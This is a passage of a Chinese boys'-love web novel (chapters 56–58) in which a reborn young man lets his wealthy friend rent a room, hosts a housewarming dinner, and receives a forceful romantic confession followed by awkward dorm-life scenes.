连谢淮的人都找不到沈泽予究竟是从哪里买的药,没有证据他只能算嫌疑,通过一场官司就能轻易摘出来。 不知道沈家人有没有继续相信沈泽予的蒙骗说辞,但沈泽予因精神状况休学了。 这件事还是李彦告诉戚栩的,团建之后李彦和隔壁班的几个人混熟了,对方还想着借李彦是戚栩的室友弄清楚到底是什么情况。 戚栩并不关心,他关心的另有其事。 因为他终于见到到谢淮给他买的床。 戚栩指着那张kingsize的床由衷地发问:“我的床到底要睡几个人?” 第56章 第 56 章 谢淮倚在门框上, 怡然自得的模样:“睡你一个,不然你还想谁上你的床。” 戚栩走进房间上手按了下床垫,发现软得离谱, 再看了一下床垫的牌子, 估计这张床没个十几w下不来。 “创业创到这里来了?几十万买张床,投资什么?你想得到什么回报。”戚栩说着都有点眼红了,“淮哥,钱多可以投资一下我,我肯定不会让你亏。” 谢淮上下打量着他, 像是在看对方有什么可取之处,看了两眼后没说话。 这一幕让戚栩觉得像是回到了谈判桌,谢淮就坐在他的对面, 看着他什么话都不说,那时戚栩觉得他在挑衅,所以死咬着利益不放。 最后谈不妥一拍而散, 戚栩面无表情地起身扣上外套纽扣,刚走出门口就听到谢淮的助理留人。 “戚总, 刚好是午饭时间,谢总在沐尼订了包间,希望戚总携团队一起出席。” 戚栩回绝了, 一想到谢淮那脸他都气饱了,所以他回到公司气得连午饭都吃不下。 过了几天再约谈判的时候戚栩让李恺兴去坐镇, 千叮万嘱不要松口, 拖着也好过在谢淮手上吃亏。 结果呢, 谢淮松口了, 当场签了合同。 戚栩拿着那一份合同更气了,连下午茶都没吃, 吓得李恺兴要送他去医院看病。 戚栩这人嗜甜如命,他们团队也因此每天都有下午茶时间,由戚栩自费的。 戚栩终于问出那句话:“你到底在看什么?” 谢淮说:“在看你身上有什么地方值得我投资。” 戚栩指着自己的脑袋:“这里呢,脑子。” 谢淮抬手揉乱了戚栩的头发,像玩一个爱不舍手的玩具,把戚栩的头发都弄乱了。 被戚栩瞪着骂了一句滚之后才依依不舍地放手。 戚栩看在天价的床上没和谢淮动手,要是以后他缺钱了,转手把床卖出去说不定还能解决他的困境,算谢淮放在他这的投资吧。 戚栩瞅了一眼谢淮的房间,发现对方的床没他的床贵,也没有他的床大。 他家大平层除了整个房子就属这张床最值钱…… 一秒过后,戚栩被打脸了,他看着谢淮的人把行李搬进来,那一盒又一盒手表配饰絨盒标签,他的房子也不是最贵的。 以后要是遇到入室抢劫,戚栩觉得还是把他的房产证递出去吧,舍小保大。 戚栩越看越糟心,谁家租客比房东有钱,只有他做房东做成这样。 他捧着他4500买回来的香炉到阳台开始上香。 自从把香炉拿回宿舍后他都没好好上香,现在终于心无旁骛拿着价值10万打火机点香。 这是戚栩顺手从谢淮的行李里拿出来的,然后谢淮说给他用来点香了。 戚栩玩着手里的打火机,真想点一根烟,玩在手上暴殄天物。 这个家足足搬了一个下午,戚栩怀疑谢淮把家当全部搬过来了,整个衣帽间都满了,春夏秋冬的衣服,按照颜色深浅排列,特讲究。 反观作为主人家的衣帽间,都没几件衣服,更像临时过来住几天。 戚栩坐在沙发上看着老高指挥着人把餐桌换了,他看到新餐桌确定了,是前几日谢淮询问过他的意见那张,他当时顾着玩贪吃蛇瞄了一眼不过心说挺好的。 那时根本没想过这张餐桌会出现在家里。 真行啊,先斩后奏。 戚栩心想着,算了,这家也有谢淮的一部分,就是不知道以后谢淮不租了,这电器,餐桌,床算谁的。 五人小群信息不断,徐亦辰知道戚栩被骚扰的事件后特此发来慰问。 戚栩回了他几句消息,对方嫌他老年人手速,直接一个电话过来。 第一句话就说:“戚栩,你根本就没有把我当兄弟。” 说得好像他始乱终弃似的。 戚栩听笑了,靠着沙发懒懒地回:“怎么会呢徐少,一瓶麦卡伦够我们俩好兄弟一辈子了。” “多续几辈子的话是不是得再送几瓶,我怀疑你是想谋我的酒。”徐亦辰习惯了戚栩的不着调,有点不忿地说:“出了这么大一件事你怎么没告诉我,你就阿淮当兄弟了,一个电话我也可以帮上忙。” “下次我再被骚扰第一时间找你……”戚栩的耳朵被捏住了,他酥麻得倒吸了一口气。 戚栩往后靠仰头去看,谢淮在沙发后背蹂躏着他的耳垂,刚刚还阳光明媚的脸唰地一下就黑了。 晴转雷暴雨。 戚栩突然没了声音,徐亦辰着急地问:“咋了,被谁骚扰了?” 戚栩无奈地举着手机让骚扰者说句话,只见谢淮对着手机沉声道:“关你什么事。” 一听到写谢淮的声音徐亦辰继续嚷嚷:“好啊,你们又瞒着我厮混在一起,赶紧给我发个地址,让我逮着你们就死定了。” 戚栩乐翻了:“记得带乔迁礼,家里还缺点什么呢?” 说着他看向谢淮,后者看出了他的意图,默契地说:“缺点霞多丽。” 徐亦辰骂骂咧咧地说了一句“你们俩谋财害命啊”,然后挂了电话。 戚栩把手机放下,耳垂上触感让人不可忽视,他开口问:“再摸就要给钱了。” 腿上多了一把法拉利的车钥匙,这是另外的价钱。 戚栩立马从沙发上起身,半跪着,把另一只耳朵送到谢淮面前:“请摸。” 得亏耳朵不是他的敏感带,不然他都赚不到这些钱。 谢淮挑了挑眉:“有没有点出息。” 戚栩拎着车钥匙,说道:“在谢少面前我一向没出息,抱你大腿的事你可要当真啊,以后真抱……” 戚栩的姿势让他高于谢淮,有那么一点居高临下,由于没什么态度,更像是把洁白而脆弱的脖子递到敌人面前。 谢淮扫了一眼那一截白皙,同时伸手握住了颈侧,拇指指腹虚按住,是很容易让人窒息的动作。 戚栩没再说话,似有不解地看着谢淮,但并没有反抗,喉结不由自主地滚动,蹭过谢淮的指腹。 戚栩的态度取悦到谢淮,他嘴角勾了勾,把人往自己面前带,两人呼吸相缠。 “没说不让你抱,只给你抱。” 戚栩听到了谢淮腕表上秒针的走动,滴塔滴塔,可耳边却有一道声音比秒针行走的速度更快,他的心脏好像在奇怪地加速跳动。 陈威和老高哼哧哼哧搬着绿植进门,两人一看到沙发上两位少爷的动作,放下绿植整齐地向后转,军姿站立,手贴紧裤侧线,视线统一看着门框。 戚栩拂下颈侧的手,重新坐回沙发上,穿上鞋子走到阳台拿起打火机又点了一支香。 心情有些微妙,手串盘起来,闻着檀香,借此希望心情可以平复下来。 就差念清心咒了。 陈威和老高听到脚步的声音才往回转,一位少爷在阳台拜天地,另一位正看着他们两个人。 陈威莫名地觉得寒气从后背起来,和老高顶着这束压迫的眼神把绿植归位后,麻溜地离开。 半个小时后安保通知他们说有人送乔迁礼,谢淮刚好在客厅让他们上来,不多时几个穿着厨师服模样的人搬着几箱食材进来。 戚栩从沙发上起身,问谢淮:“你请的人?” 谢淮说:“徐亦辰的人。” 话音刚落,徐亦辰带着方倩和蒋子慕出现了。 这几个人一进门熟练地换鞋,手里拎着礼物,戚栩精准地看到徐亦辰手里的霞多丽。 徐亦辰放下手里的东西开始进行参观模式:“你们两个真背着我们在外面有个家,我今天是来加入你们的,让我们一家三口快乐地生活吧。” 戚栩倒了几杯热茶放在桌上:“抱歉啊,一家三口你只能睡客厅。” 徐亦辰不放弃加入的想法:“我和你睡不行,你那床在上面翻跟斗都行。” 谢淮替戚栩回绝:“厕所租给你,2万一个月。” 徐亦辰又转到了旁边的客卧,性冷淡的布置,很明显是谢淮的房间:“真黑心啊,我还不如直接在楼下租房。” 方倩捧着热茶暖手,饶有兴致地跟着逛起来,问戚栩:“你们今天刚搬来?” 戚栩说:“对,让你们赶上了。” 蒋子慕直奔落地玻璃窗,打开门走出了阳台。 这三人足足在这个房子里逛了二十分钟,然后在客厅和戚栩谢淮两人公堂对簿。 戚栩找了最舒服的姿势窝在沙发上,谢淮在一旁盘腿而坐,腿上放着笔记本。 三人围绕着他们分布,徐亦辰一本正经地盘问:“这房子是谁的?” 戚栩举手:“我的。” 徐亦辰捂着心口,心痛地看着谢淮:“我们不争气的阿淮还是入赘。” 谢淮敲键盘的手停了下来,看了徐亦辰一眼没说话。 戚栩觉得入赘这次降低谢淮的身份,说道:“他来租房,我们俩是房东和租客的关系。” 方倩看着他们抵在一起的腿,忽然觉得好像并不是房东和租客这么简单。 原本这个念头在迎新过后已经慢慢淡下,但这会儿又看到谢淮以租客的身份出现戚栩的家,不可思议之余还有点原来如此。 谢淮是谁啊,谁能让他自降身段租房,如果这个人是戚栩,又不觉得奇怪了。 蒋子慕真诚地问:“真给钱的那种租客?” 给戚栩听笑了:“还有不给钱的租客?我不是亏了么,不然让淮哥以身相许?” 噗哧一声,徐亦辰喷了一地的水果茶,憋红了脸,新买的地毯就此报废。 谢淮皱眉:“脏不脏啊,自己处理干净,不然就滚。” 徐少在戚栩的家贡献了人生第一次清洁,拿着吸尘器在地毯上来回走。 他不满道:“我好歹带了礼物,也是个客人,你们就这样对待我?” 没人搭理他,餐桌上已经摆好了厨师做的饭菜。 他们都是徐家星级餐厅的员工,做好晚饭后非常有职业素养地整理好厨房用具才离开。 入秋后,早晚温差大,桌上炆着炖羊肉,一旁还有海鲜锅,热气腾腾的,其他菜品还有谢淮从冰箱拿出新鲜的排骨,让厨师加的一道酸甜排骨。 谢淮从柜子里拿出清洗好的杯子放在每个人的面前,戚栩负责开徐亦辰带来的霞多丽。 徐亦辰看到这一幕和方倩嘀嘀咕咕:“我怎么看出了点女主内男主外的意思,我的问题还是他们的问题。” 方倩白了他一眼:“你要不去问问他们谁主内。” 徐亦辰干笑了声:“你这是让我死无葬身之地,信不信我问出来,戚栩一拳给我下楼。” 方倩说:“那你看着就行,别那么多话。” 得到了指令,徐亦辰真就看着,没在想别的。 五人围坐一桌,开始热闹地享用今晚的晚餐。 戚栩咬着排骨听着他们说圈内的八卦,谁家少爷不服联姻,带着他的女朋友私奔了,买票的时候刷了卡被家里发现,开始即结束。 哪家纨绔子弟接手家里的生意,亏损了将近八千多万,瘫痪的老爷子一夜之间康复,追着不肖子孙打。 戚栩一边听一边笑,偶尔和他们碰杯。 唯独没有提起的是沈家掌权人发生变化,其实这件事在圈里算得上大事。 沈卓海被老爷子降权,沈泽予因病休学,只有沈枫凯坐上了总经理的位置,现在整个沈家死气沉沉。 他们三个人也想借着今天见面的机会看看戚栩的状态,好在戚栩完全没有受到影响,甚至还搬了新家,虽然新家还有别人在。 总之戚栩越过越好,是他们这些朋友所希望的。 戚栩心细哪不知道他们所想,特别是蒋子慕,可能没和徐亦辰他们对好词,吃饭之前偷偷问戚栩还好吗。 成年了也藏不住事,不愧是蒋大师。 戚栩举起酒杯向他们敬酒:“感谢各位参加我们的乔迁宴,今日匆忙不算正式,下次一定正式宴请你们,当然,十分感谢徐少赞助的酒席。” 众人举杯同他碰杯,徐亦辰心说,这怎么越看越像结婚宴席,他还成了赞助人。 酒足饭饱之后,蒋子慕醉得不轻,但也没耍酒疯,就抱着从背包里拿出来的速写本坐在沙发上静静地看着戚栩。 戚栩逗人瘾上来了,逗人:“嘛呢?” 蒋子慕有问必答:“栩哥,我想画画。” 都过这么久,这个执念还在,说明真的很想画。 戚栩今晚心情好,说:“行,你想怎么画?” 蒋子慕在酒精的作用下有些迟钝,放下手里的素描本朝戚栩走来。 “呦呦呦,哎?”戚栩往后仰,蒋子慕的手都怼到他面前了,要用手感受他的五官的位置。 喝醉酒的蒋大师怎么这么猛,戚栩没让他碰到自己连忙塞了个抱枕给他。 蒋子慕抱着抱枕说:“栩哥,你的头好方,很好起形。” 戚栩:“……” 谢淮从厨房出来看到在客厅的两人,刚走过去听到蒋子慕说:“脱个衣服吧栩哥,让我看看你的肌肉构造。” 戚栩眼睁睁地看着蒋子慕把抱枕的拉链拉开,把抱枕套和抱枕分离。 戚栩今晚第二次大无语,这不是脱衣服,如果蒋子慕手上是他本人,他估计这会儿骨肉分离,皮都没了。 戚栩默默地往后退,刚起身和谢淮对视了一眼。 谢淮眯了眯眼:“脱什么衣服?” 蒋子慕听到谢淮的声音,又从沙发里拿起第二个抱枕:“淮哥,你也脱个衣服,让我对比一下。” 戚栩抬了抬手指示:“呐,正在脱你衣服呢淮哥,看起来你的肌肉比我的弱一些,还得多加锻炼。” 谢淮:“……” 第57章 第 57 章 徐亦辰喝得酩酊大醉赖着不走, 就差倒在戚栩的床上,刚踏进房间一步就被谢淮拎起来扔了出去。 老高和陈威一人扶一个,方倩的酒量比两位男生还要好, 嘴里还嘲讽这两人。 徐亦辰挣脱老高的手, 转身走去了方倩身边,说要扶着她。 然后连拐弯不会,一头撞上墙,还好方倩眼疾手快将人提溜了回来。 戚栩站在门口见状让老高注意看着点,别让徐亦辰少胳膊少腿。 四人走入电梯后戚栩才转身回屋, 谢淮不知道什么时候站在身后,戚栩及时刹车没撞上去,不然喝醉的就该是他了。 “你走路怎么没声。” 谢淮说:“送这么久还以为你跟他们走了。” 戚栩回:“这里我家, 我能去哪?” “谁知道呢,蒋子慕恨不得把你装麻袋带走。”谢淮睨着他。 戚栩无语:“你以为我是物品啊,还打包带走, 刚刚逗人玩而已,你也信?” 他顿了下, 又起了玩弄之心:“说真的,淮哥什么时候给我看看腹肌,房租免不了, 房东明天给你做早餐怎么样。” 戚栩自认这么点酒醉不了人,仗着胆子大去撩只有18岁的谢淮, 如果真能看腹肌也不亏。 戚栩学着前世谢淮打量他的眼神, 虽然这个时候谢淮的身材比不上28岁, 胜在够青春。 他这叫什么, 老牛吃嫩草? 谢淮没往屋内走去,而是逼近戚栩, 把人堵在了玄关处,不满戚栩这个眼神,仿佛通过他去看某个人。 他伸手扣住了戚栩的下巴,迫使他仰头:“你在想谁?” 戚栩的后背抵在了门上,自有种放学被堵的即视感,他笑了笑:“在想你啊。” 想你这辈子28岁应该不会再不搭理人了吧。 谢淮无奈地揉着他的下巴:“戚栩,能不能对我说实话。” 戚栩无比地真诚,不太明白谢淮说的意思:“我发誓真是在想你,想你28岁的时候身材比现在要好。” 谢淮:“……” 刚刚戚栩的眼神是在想他的28岁?那可让他嫉妒坏了,现在他不允许任何人在戚栩心里占据地位,28岁的自己也不能。 “你怎么知道28岁的我比现在的我身材要好,说不一定会发福。” 不惜贬低28岁的他,来成全18岁的幸福。 戚栩歪了歪头,发福? 没吧,谢淮那肩宽腰窄的身材,天生的衣架子,脱下外套随意搭在手臂,走动时紧实的大腿…… 谢淮见戚栩陷入了沉思蹙眉,握住了戚栩的手放在自己的肩上。 戚栩回神,疑惑地“嗯”了一声。 琥珀色的眼睛水蒙蒙的,很亮,却似乎不太清醒。 谢淮摩挲着戚栩的腕骨,开始人体肌肉构造指导。 “这是三角肌。” 屋内暖气充足,谢淮身上只穿着一件单薄的长衬,人体热量传递到戚栩的掌心。 谢淮带着他的手慢慢往移动,低语:“这是胸大肌。” 戚栩的手心感受到明显的肌肉形状隆起,此时他还在想,果然有料。 过眼瘾不如亲自上手摸一摸,戚栩更怡然自得了。 手掌移动的速度越来越慢,谢淮拉着戚栩的手扣在了自己的腰侧,看着像是戚栩主动抱着他。 “这是腹外斜肌。” 戚栩眨了眨眼睛,目光开始聚焦,宛如一个认真听学的好学生,连呼吸都放轻了,怕打扰到老师。 如今的戚栩没有任何醉态,前世的经验让他逼迫自己强行清醒,意识到事情好像有点不可控。 手掌还在继续往下,戚栩试图抽回自己的手结束指导,只是被谢淮更用力地扣住。 “抖什么?” 戚栩开口警告:“够了,谢淮。” 谢淮无视了这份警告,轻笑:“够什么,不是想看我的腹肌吗?” 搬起石头砸自己的脚,戚栩深觉得不该开谢淮的玩笑,但已经迟了。 他放轻了声音:“我开玩笑。” 谢淮带着戚栩的手往下,另一只手撩起自己的衣摆,把戚栩的手更直接地接触皮肤。 “这是腹肌。” 没了那层单薄的衣料,谢淮整个人都是滚烫,戚栩从来不知道一个人的体温会这么高,像是要把他整只手融进血肉里,直击人心的。 戚栩猛然一缩,手指蜷缩,而小拇指却勾住了谢淮的裤腰带,想要继续往下探寻似的。 戚栩不动了,怕谢淮带着他的手继续往下探。 他呼出一口气,无言地谢淮对视,不知怎么,叛逆心理又起来了,继续往下探又能怎么样,吃亏的又不是他。 戚栩挑衅望着谢淮:“继续啊,怎么不继续。” 他还玩不过这点大的谢淮? 说着戚栩的小拇指插进了谢淮的腰带里,指尖触碰到了平滑的边缘。 谢淮的理智在这一刻即将要崩盘,眼底一沉,磨了磨后槽牙盯着戚栩,眼神复杂中带着一丝无可奈何:“戚栩,你到底有没有心。” 戚栩对这个质问表示无语:“心跳着呢,你到底什么毛病,喝醉了?” 温水煮青蛙,奈何这个蛙没心没肺,还在煮锅里花式游泳,时而挑衅趴在锅的边缘向他泼水。 谢淮唯有的耐心全都用在了戚栩身上,然而对方对感情迟钝,能看得出来徐亦辰对方倩的感情,却不能看到自己所处。 他凑近一步,抽出腹部的手,将它放在自己的心口上,一字一句地说:“喜欢你的毛病。” 刹那间,戚栩傻了,以为自己喝醉,出现了幻听,而且谢淮也醉得不轻。 鼻息里都是两者相融的味道,他手串上的沉香木,谢淮身上的淡淡酒气,乱七八糟的,慢慢地强行入侵他的大脑,拉起警戒线的同时,心脏却给出了不一样的指令。 正在陷入一场无止境的慌乱中。 戚栩的另一只手紧紧贴在冰凉的门上,试图从中提取一丝清醒,他稳住了自己的心态,并尝试安抚面前的酒鬼:“你喝醉了,我去给你倒杯蜂蜜水。” 谢淮眉眼清明,他根本没和戚栩抢霞多丽喝,一杯酒贯彻了整晚。 他就这样把冰凉的脸颊埋进戚栩的颈窝里,不会承认自己喝醉了。 身体那么烫,鼻尖却那么凉,戚栩被冷得哆嗦了一下,头脑无比的清醒,不能再沉沦下去,刚想推开谢淮。耳垂被一股温热含住了。 谢淮承认自己的理智彻底崩盘,从他喜欢上戚栩的那一刻,他就放任自己沉沦,但他不觉得自己做错了。 耳垂被允吸着,轻咬着,挑逗着,慢慢地变红,变烫,变成谢淮口中的玩物。 在轻扯下,戚栩“嘶”一声,倒也不觉得痛,只是觉得他大错特错,耳垂就是他的敏感处。 戚栩忍无可忍扯住了谢淮的头发,咬牙切齿:“你他么咬够了没有,再发酒疯给你扔出去。” 谢淮听到这句话恨不得咬破嘴里的耳珠,让戚栩也疼一下。 他舍不得起身,一步步试探戚栩的底线,这人到现在也没有推开他。 “真的喜欢你。” 再次听到这句话戚栩依然震惊。 喜欢他什么? 被种种刺激到,戚栩觉得自己的脑存量根本不够用。 戚栩实在想不出来,他们两个的关系不是以朋友的关系迸发吗?怎么脱离轨道的时候也没告诉他一声。 戚栩不知道该怎么回答,有点方寸大乱:“不是说不早恋么,能不能好好学习,天天向上。” 说完他就后悔了,都成年了算个屁的早恋,而且谢淮这成绩好像也不需要他操心。 谢淮听笑了,但没说话,喜欢看戚栩这个模样。 戚栩想了想说:“我们俩是不是走得太近让你产生了性取向障碍?不如我走?” 这一次谢淮气笑了,淡声道:“你能走去哪里,我们不是同一个班,不是同一个宿舍,怎么?想搞冷战这套。” 平时一个人能怼几个的戚栩此时哑口无言,动了动嘴才蹦出几个字:“我没说。” 谢淮也没把人逼得太紧,突然往后退,戚栩觉得呼吸都顺畅了。 谢淮说:“进去拆礼物吧,乔迁礼。” 戚栩有点没跟上谢淮的步伐:“啊?” 谢淮说:“啊什么,不收起你的麦卡伦?” 前一秒的暧昧消失殆尽,又变成房东和租客的关系。 戚栩侧身越过谢淮离开,想把刚刚的事当作没发生过,酒醒了人也清醒了,已然被谢淮看出了点苗头。 谢淮反手箍住了戚栩的手腕,把他轻轻拽了回来。 戚栩再次被抵在门上,又见谢淮俯身而来,他偏头不让谢淮得逞。 结果对方的目标已经不是他的耳垂,而是颈侧,温润的嘴碰了碰皮肤,在试探,在戚栩不为所动时,他张开嘴叼住了那层薄薄的皮肤。 戚栩打了个颤,骂了一声:“你他么是狗是吧。” 谢淮笑着起身,满意地看着自己的杰作,沉声道:“所以就别想忘记今天晚上发生的一切。” 还警告上人了,戚栩心情复杂,谢淮转身离开时,戚栩觉得自己像个渣男,明明他才是被占便宜的那个。 戚栩拆完了今天晚上乔迁礼,看到徐亦辰送的麦卡伦毫无波澜,一瓶大几十万的酒还比不上在餐厅晃荡收拾残局的谢淮。 让戚栩这个财迷一时陷入了恐慌中,被咬了一口连钱都不爱了? 谢淮身上带着什么病毒,这么快就让人视钱财如粪土。 戚栩捧着麦卡伦,又点开了自己投资的金额唤醒自己的钱财精神,还好,看到猛涨的股票他还是心动的。 戚栩又想,前世的谢淮会咬人? 他根本不知道,前世他对谢淮的了解仅限于在谈判桌上以及沈家人嘴里。 不知道他的性格,不知道他的喜好,何况大学毕业之后他们有将近五年的时间没见过,那段时间里他几乎忘记了谢淮这个人,再见面的时候已经是陌生人。 至于谢淮的情感问题更是不了解,现在仔细想想沈泽予和谢淮在一起是个谣言,除了在庆功宴那天他见过谢淮和沈泽予共同出席,剩下都是听公司和沈家人嘴里听回来。 沈泽予创业,谢家少爷大力支持,现身开业典礼,然而当天戚栩曾看到谢淮出现在经济会议上。 当然,戚栩当时真以为谢淮连夜飞了回首都,但是那天暴雪,大量航班停飞,除非谢淮是超人。 其他呢,戚栩不曾了解,甚至都不知道他喜欢男的还是喜欢女的。 但现在听到谢淮说喜欢他,戚栩第一反应并不是拒绝,而是深思,谢淮喜欢他什么。 戚栩自认身上的品行从未改变过,不对沈家狼子野心,对自己的事业有野心,但不能细看,他很多时候都不思进取,得过且过。 他懒,喜欢睡觉,见钱眼开,恨不得抱着印钞机睡觉。 哪里吸引到天骄之子的谢淮。 他本想把一切归咎于酒精,没拒绝,没答应,因为他还想和谢淮保持着原有的相处方式。 但谢淮也没说非要让他做出选择,所以他选择一个人静静地思考。 当戚栩回房间的时候,谢淮没有开口阻止,这个时间点也该休息了。 深夜,戚栩睡不着,披着件衣服静悄悄地出来,打开阳台门提前上香。 凌晨两点,怎么算都是第二天,早点吃早餐吧。 这一次戚栩真念了清心咒,把心里的想法全部甩出脑子里,吹了好一会儿的冷风后,回房间睡觉去了。 不知上香有作用还是清心咒有作用,戚栩在大床上滚了几圈睡着了。 在他睡着过后,隔壁房间打开了门,谢淮走到阳台戚栩刚刚站的位置,闻着檀香的余香,点了一支烟。 点点星火忽明忽暗,占据了檀香的位置,阳台只剩下烟草味。 过后,晚风一吹,烟灰云散,不留下任何痕迹。 两人在同一个屋檐下,就算躲也躲不掉,不过戚栩没打算躲,都收房租了。 睡了一觉戚栩觉得自己回归到那个认钱不认人的戚栩,如常地和谢淮一起坐下吃早餐。 然后他就发现桌面上的烟盒,他拿起来问谢淮:“你昨晚抽烟了。” 谢淮头也没抬:“徐亦辰留下的。” 戚栩打开看了一眼,只抽了一根,而且徐亦辰不抽烟。 算了,不管了,为情所困,抽就抽吧。 戚栩把烟盒扔到谢淮面前:“收着,别再我面前晃悠,我破戒了找你算账。” 谢淮自然地把烟盒收起来,戚栩走过去弯腰抽出他口袋的烟,冷笑:“真行啊,一诈就给我诈出来了,不是说戒了吗,随身带着烟?” 谢淮这会儿束手就擒,把打火机也上交了:“任你处置。” 好一个任你处置,把主动权放在了戚栩手上,是杀是剐没有怨言。 就好比拒绝还是接受,都由戚栩作出定论。 戚栩垂眸不知在想些什么,两秒后把烟盒重新放回桌面,连同打火机一起推到谢淮面前。 不言而喻,他没有资格去管。 谢淮对这个结果并不意外,甚至还挑了挑眉:“不喜欢我?” 谢淮是这样的人,追根问底,有什么就说什么。 戚栩说不清楚喜欢不喜欢,酒精褪去,只剩下冷静,他用28岁的思维去解决这件事。 “这不是喜不喜欢的问题,我只是觉得维持之前的关系不是很好吗?我不明白你为什么突然起了这个心思,是我做了什么事让你误会?” “维持之前的关系,你是想钓着我?”谢淮慢慢地回答戚栩的问题,“没有误会,你就算只会呼吸我都会喜欢上你。” 戚栩:“……” 没了酒精的作用,戚栩的脸不知怎么又开始热起来,两辈子都没被人郑重地告白过,老脸多少有点承受不住。 而且两辈子他都没想过找个人陪着,正如他之前所想,老了之后养只猫一起过日子。 戚栩重新坐回谢淮的对面,重新进行谈判,如前世一样。 “你是想和我谈恋爱?” 谢淮比前世更愿意说话,但说的不是什么好话,咄咄逼人。 “我想不想谈不重要,关键在于你,你想不想和我谈,别再说什么维持先前的关系,你还能平心喊我淮哥?” 戚栩恨不得谢淮直接闭嘴不要说话,他有些烦躁地敲了敲桌子:“你在逼我做选择?” 谢淮以退为进:“不,我在给你第三个选择。” 戚栩问:“什么选择?” 谢淮说:“允许我追你。” 戚栩:“……” 好了,彻底谈崩了。 他破罐子破摔,自我放弃:“行,你追,追到算你的。” 反正他坚守底线不松口,这场谈判还是他赢面大。 第58章 第 58 章 李彦是第一个发现戚栩和谢淮不对的人。 以前这两人周日经常一起回宿舍, 不是说有说有笑吧,但起码不想现在这样一起回来后就坐在自己的座位上一声不吭。 谢淮就算了,怎么连戚栩都是这样。 李彦和冯振杰两人对视了一眼后默契地进入私聊, 谁也没敢在宿舍里发出声响。 到了晚些的时候, 隔壁宿舍过来串门,戚栩又恢复以前那样和他们有说有笑,没个正形。 谢淮偶尔插几句话,戚栩跟着插科打诨,隔壁宿舍没人发现不对。 方培宁眼尖, 看到了戚栩脖子上的痕迹:“栩哥,脖子上怎么了?这天应该没蚊子吧。” 戚栩没遮掩,脖子上的痕迹又明显又暧昧, 谁都看见了,但没人问而已,相熟的人都顾忌ktv那档子事。 戚栩起床刷牙的时候看过, 谢淮真属狗,差点给他咬出血, 过了一晚那痕迹唬人得很,牙尖咬的,变成紫红色, 隐约能察觉到是齿印。 原本是用创口贴贴着回来的,在车上的时候谢淮给他扯下来了。 戚栩在车上和谢淮打了一架, 车上的空间不大。 戚栩非得要教训他, 最终谢淮被打倒在后排, 同时戚栩也被谢淮勒住了腰, 两人叠罗汉般地倒下。 放在平时戚栩肯定会问:“淮哥,我的腰好搂吗?” 但他知道谢淮的司马昭之心后, 不再招惹他。 可谢淮招惹他,目光掠过戚栩的唇,直白地说:“栩哥的腰真好搂,一只手就可以搂住。” 演都不演,戚栩忍无可忍用头撞进了他的胸膛:“闭嘴。” 所以就有了李彦觉得他们吵架的事。 戚栩抬手随意地抹了一把脖子,不太在意地说:“昨晚家里进了一只大蚊子,被咬了一口,可能有毒。” 众人听到有毒说着赶紧上医务室看看去。 戚栩说:“没事,看过了,死不了人。” 他一边说一边瞪着那一只从蚊子变异的狗。 方培宁又问:“栩哥你深仇大恨地看着淮哥干什么?蚊子又不是他放进来的。” 谢淮顺着话回答:“没帮他赶蚊子,怪在我身上了。” 戚栩无语地笑了,以前他怎么不知道谢淮这么厚脸皮。 本以为过了一晚后,谢淮和戚栩的不对有所缓解,毕竟睡觉前不还一起说大蚊子的事。 戚栩不再赖床,也不用谢淮叫醒,自己听着他们的闹钟就起床了,这下李彦发现了事情的严重性。 去吃早餐的路上,李彦拉住了戚栩问:“栩哥,你和淮哥吵架了?” 戚栩说:“为什么这样问?” 李彦实话实说:“今早你不用淮哥叫醒,而且没用淮哥递给你的洗脸奶。” 戚栩不解:“就这?” “要是说得再细一点,那就是感觉,我感觉你俩肯定发生了点事。”李彦只希望这两人好好的,别再闹别扭,“有什么事说出来大家一起解决。” 这可不能说出来,戚栩让他把心放好:“没吵架,这么怕我俩吵架?” 李彦点头“嗯”了一声:“主要怕你们闹别扭,我和冯振杰就好比父母离婚,不知道跟爸爸还是妈妈,苦的都是孩子啊。” 戚栩:“……” “爸爸不要你们,滚去跟你妈过吧。” 李彦屁颠屁颠去和谢淮说这件事,给予回复:“哄好你们栩哥,咱们一家四口好好过。” 在后面的戚栩听到谢淮的话翻了个白眼,这人真是越来越没脸没皮了。 高文均退学后,他们班的班长之位一直空着,整个班的事务由学委负责,任务过于重,她不得不向辅导员提议竞选班长。 辅导员利用下午没课的时间快速竞选班长,因为过几天是期中考,班里的任务会加重,得尽快选出一个班长。 李彦有想当班长的想法,被戚栩怂恿着做了几天的ppt,从未当过班级干部的他,这是第一次鼓起勇气竞选班长。 戚栩在他上台的时候热烈鼓掌,有种看着孩子上台表演的错觉。 李彦被热烈的掌声弄红了脸,但也获得了自信,到了最后竟然说了一大段感谢的话。 “感谢我栩哥鼓励我,一日为父终身为父,感谢我淮哥帮我润色资料,以后我的毕业简历就靠你帮我闯进大厂,感谢我小弟冯振杰……” 戚栩觉得有点丢脸,撑着脑袋低下了头,真是个大笑子。 旁边递过来一个本子——等会儿回家吗? 回家。 戚栩看着这两字愣了会儿神,让他误以为是他和谢淮的家。 他拿起笔回复——不回,下午在宿舍复习,晚点李恺兴过来找我。 谢淮在后面回了一个句号。 戚栩侧着身在上面回个问号。 然后谢淮再回了一个爱心。 戚栩回以六个点。 他看着那几个标点符号攻击,幼不幼稚,小学生似的。 李彦说完一番感言后不煽情,哄堂大笑,连辅导员没忍住笑了起来。 不过很遗憾最后落选,班长由一位女生担任,因为她准备得很充分,高中时期也有当班长的经历。 竞选结束,李彦垂头丧气地回到父亲的身边,却看到戚栩一脸荡漾:“栩哥,我落选你怎么这么高兴?” 戚栩轻咳了一声:“你看错了,你落选我怎么会高兴,别灰心,下次再上台别提为父的名字。” 冯枫杰说:“也别提我的名字,弄得好像什么奥斯卡颁奖典礼似的,太丢脸了。” 李彦丧着个脸说:“这不是让大家对知道我们314的团结吗,有利于评选优秀宿舍。” 过后,李彦和冯振杰到图书馆复习,他们两人在宿舍复习不了,得在外面被人刺激才能静下心。 戚栩嫌图书馆人多不自在,不太喜欢去图书馆,所以选择在宿舍看书。 两人走出教室,和李彦他们分道扬镳。 戚栩脖子上咬痕要痊愈了,谢淮可能真的有毒,戚栩最近觉得被咬的地方有点痒,不自觉地伸手去挠。 在戚栩抬手的时候被谢淮抓住了手阻止他去碰:“别挠,回宿舍涂点润肤的。” 戚栩好声没好气地说:“你身上是不是带毒,被你咬了一口又痒又疼的。” 谢淮说:“天气干燥,皮肤干而已。” 戚栩问:“那怎么就你咬的地方痒?” 谢淮反问:“晚上你是不是自己偷偷摸了。” 戚栩骂了他一句:“有病,你以为谁像你一样变态,谁没事摸自己。” 谢淮看了他一眼,当众地一本正经说:“不会摸自己,只会让你摸我。” 戚栩:“……” 